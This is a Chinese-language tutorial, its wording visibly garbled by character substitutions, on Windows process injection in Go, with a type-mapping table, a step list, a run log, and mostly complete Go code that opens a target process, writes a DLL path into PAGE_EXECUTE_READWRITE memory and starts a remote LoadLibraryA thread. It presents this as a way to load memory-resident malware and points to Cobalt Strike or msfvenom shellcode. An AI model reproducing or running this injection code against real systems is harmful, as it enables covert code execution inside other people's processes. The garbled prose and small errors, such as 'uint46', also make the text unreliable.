go 网络安全代码地址
应用 syscall 能够加载驻留内存的恶意软件或者钩子函数
c++ 和 go 类型
c++ | go |
---|---|
boolean | byte |
bool | int32 |
byte | byte |
dword | uint32 |
dword32 | uint32 |
dword64 | uint46 |
word | uint16 |
handle | uintptr |
lpvoid | uintptr |
size_t | uintptr |
lpcvoid | uintptr |
hmodule | uintptr |
lpcstr | uintptr |
lpdword | uintptr |
过程注入的流程
- 应用 openProcess()建设过程句柄和过程拜访权限
- VirtualAllocEx() 调配虚拟内存,
- WriteProcessMemory()将 shellcode 或者 dll 加载到过程内存中
- 应用 CreateRemoteThread()调用本地导出的 dll 函数,使得第三步写入内存的字节码执行
扩大
- 能够应用 Process Hacker Process Monitor 工具查看过程状态
- 能够不通过 dllpath 加载 dll 应用 cs 或者 msfvenom 生成 shellcode
- 能够将 frida 加载进去,执行 js
应用
go run .\main.go .\helper.go .\inject.go .\tokens.go -pid=10676 -dll=”C:\Windows\System32.dll”
pid 为 10676dll 为 C:\Windows\System32.dllprocess handle0x158
申请内存 0x1ae387b0000
kernal dll 的地址为 0x7ffd66100000load memory 0x7ffd6611ebb0
Thread 创立 0xc0000a60c8
thread create 0x160
package main
import (
"fmt"
"syscall"
"unsafe"
"github.com/pkg/errors"
)
var nullRef int
// 获取过程句柄
func OpenProcessHandle(i *Inject) error {
// 定义过程拜访权限
var right uint32 = PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION | // 查问过程信息
PROCESS_VM_OPERATION |
PROCESS_VM_READ |
PROCESS_VM_WRITE
var inheritHanle uint = 0 // 新过程句柄是否继承现有句柄
var processId uint32 = i.Pid
// 获取过程句柄
remoteProcHandle, _, lastErr := ProcOpenProcess.Call( // 进行零碎调用
uintptr(right), //DWORD dwDesiredAccess
uintptr(inheritHanle), // Bool bInheritHandle
uintptr(processId), //DWORD dwProcessId
)
if remoteProcHandle == 0 {return errors.Wrap(lastErr, "不能获取句柄")
}
i.RemoteProcHandle = remoteProcHandle // 记录到构造体
fmt.Printf("pid 为 %v", i.Pid)
fmt.Printf("dll 为 %v", i.DllPath)
fmt.Printf("process handle%v \n", unsafe.Pointer(i.RemoteProcHandle))
return nil
}
// 内存申请
func VirtualAllocEx(i *Inject) error {
var flAllocationType uint32 = MEM_COMMIT | MEM_RESERVE
var flProtect uint32 = PAGE_EXECUTE_READWRITE
lpBaseAddress, _, lastErr := ProcVirtualAllocEx.Call(
i.RemoteProcHandle, // HANDLE hProcess
uintptr(nullRef), // LPVOID ipadress
uintptr(i.DLLSize), // size_t
uintptr(flAllocationType),
uintptr(flProtect), //dword flprotect
)
if lpBaseAddress == 0 {return errors.Wrap(lastErr, "申请内存失败")
}
i.Lpaddr = lpBaseAddress
fmt.Printf("申请内存 %v\n", unsafe.Pointer(i.Lpaddr))
return nil
}
func WriteProcessMemory(i *Inject) error {
var nBytesWritten *byte
dllPathBytes, err := syscall.BytePtrFromString(i.DllPath) // 接管一个 dll 地址,返回生成的字节切片的地址
if err != nil {return err}
writeMem, _, lastErr := ProcWriteProcessMemory.Call(
i.RemoteProcHandle, // HANDLE hprocess
i.Lpaddr, // LPVOID lpbaseAddress
uintptr(unsafe.Pointer(dllPathBytes)), // LPCVOID
uintptr(i.DLLSize), // size_t
uintptr(unsafe.Pointer(nBytesWritten)), //size_t *lpNumberOfBytesWriten
)
if writeMem == 0 {return errors.Wrap(lastErr, "shellcode 写入内存失败")
}
return nil
}
// loadlibrarya 会将指定的模块加载到过程调用的内存空间中,所以须要失去 library 的内存地位
func GetLoadLibAddress(i *Inject) error {
var llibBytesPtr *byte
llibBytesPtr, err := syscall.BytePtrFromString("LoadLibraryA") // 返回这个字符串在内存中的地位
if err != nil {return err}
lladdr, _, lastErr := ProcGetProcAddress.Call(ModKernel32.Handle(),
uintptr(unsafe.Pointer(llibBytesPtr)), // LPCSTR lpProcname
)
if &lladdr == nil {return errors.Wrap(lastErr, "没有找到地址")
}
i.LoadLibAddr = lladdr
fmt.Printf("kernal dll 的地址为 %v", unsafe.Pointer(ModKernel32.Handle()))
fmt.Printf("load memory %v\n", unsafe.Pointer(i.LoadLibAddr))
return nil
}
// 针对近程过程的虚拟内存区域创立一个线程
func CreateRemoteThread(i *Inject) error {
var threadId uint32 = 0
var dwCreateionFlags uint32 = 0
remoteThread, _, lastErr := ProcCreateRemoteThread.Call(
i.RemoteProcHandle,
uintptr(nullRef),
uintptr(nullRef),
i.LoadLibAddr,
i.Lpaddr, // 虚拟内存地位
uintptr(dwCreateionFlags),
uintptr(unsafe.Pointer(&threadId)),
)
if remoteThread == 0 {return errors.Wrap(lastErr, "创立线程失败")
}
i.RThread = remoteThread
fmt.Printf("Thread 创立 %v\n", unsafe.Pointer(&threadId))
fmt.Printf("thread create %v\n", unsafe.Pointer(i.RThread))
return nil
}
// 辨认特定对象适合处于发信号的状态
func WaitForSingleObject(i *Inject) error {
var dwMilliseconds uint32 = INFINITE
var dwExitCode uint32
rWaitValue, _, lastErr := ProcWaitForSingleObject.Call(
i.RThread,
uintptr(dwMilliseconds),
)
if rWaitValue != 0 {return errors.Wrap(lastErr, "线程状态谬误")
}
success, _, lastErr := ProcGetExitCodeThread.Call(
i.RThread,
uintptr(unsafe.Pointer(&dwExitCode)),
)
if success == 0 {return errors.Wrap(lastErr, "退出码不对")
}
closed, _, lastErr := ProcCloseHandle.Call(i.RThread)
if closed == 0 {return errors.Wrap(lastErr, "敞开谬误")
}
return nil
}
func VirtualFreeEx(i *Inject) error {
var dwFreeType uint32 = MEM_RELEASE
var size uint32 = 0 //Size must be 0 if MEM_RELEASE all of the region
rFreeValue, _, lastErr := ProcVirtualFreeEx.Call(
i.RemoteProcHandle,
i.Lpaddr,
uintptr(size),
uintptr(dwFreeType))
if rFreeValue == 0 {return errors.Wrap(lastErr, "开释内存出错")
}
fmt.Println("开释内存胜利")
return nil
}